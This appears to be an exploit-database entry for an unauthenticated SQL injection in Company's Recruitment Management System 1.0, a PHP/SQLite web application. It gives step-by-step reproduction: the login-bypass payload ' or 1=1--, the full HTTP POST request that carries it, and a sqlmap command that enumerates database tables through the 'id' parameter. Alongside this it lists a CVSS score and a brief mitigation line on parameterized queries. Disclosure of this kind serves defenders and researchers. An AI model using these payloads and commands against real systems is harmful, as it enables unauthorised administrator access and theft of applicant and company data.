Company's Recruitment Management System 1.0 - 'Multiple' SQL Injection (Unauthenticated)

vendor:

Company's Recruitment Management System

by:

Yash Mahajan

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Company's Recruitment Management System

Affected Version From: 1

Affected Version To: 1

Patch Exists: NO

Related CWE:

CPE: a:sourcecodester:company's_recruitment_management_system:1.0

Metasploit:

Other Scripts:

Platforms Tested: Windows 10, XAMPP

2021

Company’s Recruitment Management System 1.0 – ‘Multiple’ SQL Injection (Unauthenticated)

A vulnerability exists in the Company's Recruitment Management System 1.0, which allows an unauthenticated attacker to bypass authentication and gain access to the system. This is achieved by entering a payload into the username field as ' or 1=1-- without double-quotes and typing anything into the password field. The vulnerable parameters are 'id' and 'username'. An attacker can also use SQLMap to retrieve tables from the database by using the command 'python sqlmap.py -u http://localhost/employment_application/?page=view_vacancy&id=1 --level=3 --risk=2 --banner --dbms=sqlite --tables'

Mitigation:

Ensure that user input is properly sanitized and validated before being used in SQL queries. Use parameterized queries to prevent SQL injection attacks.

Source

Exploit-DB raw data:

# Title: Company's Recruitment Management System 1.0 - 'Multiple' SQL Injection (Unauthenticated)
# Exploit Author: Yash Mahajan 
# Date: 2021-10-09
# Vendor Homepage: https://www.sourcecodester.com/php/14959/companys-recruitment-management-system-php-and-sqlite-free-source-code.html
# Version: 1
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/employment_application.zip
# Tested On: Windows 10, XAMPP 
# Vulnerable Parameters: "id" , "username"

Steps to Reproduce:

A) SQL Injection (Authentication Bypass)

1) Navigate to http://localhost/employment_application/admin/login.php
2) Enter the payload into the username field as "' or 1=1-- " without double-quotes and type anything into the password field.
3) Click on "Login" button and you are logged in as administrator.

Request:
========

POST /employment_application/Actions.php?a=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 38
Origin: http://localhost
Connection: close
Referer: http://localhost/employment_application/admin/login.php
Cookie: PHPSESSID=fk1gp1s7stu7kitjmhvjfakjqk
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

username='+or+1%3D1--+-&password=admin

--------------------------------------------------------------------------------

B)

1) Vulnerable Parameter: "id"
2) Sqlmap Command to get retrieve tables from the database
3) python sqlmap.py -u "http://localhost/employment_application/?page=view_vacancy&id=1"  --level=3 --risk=2 --banner --dbms=sqlite --tables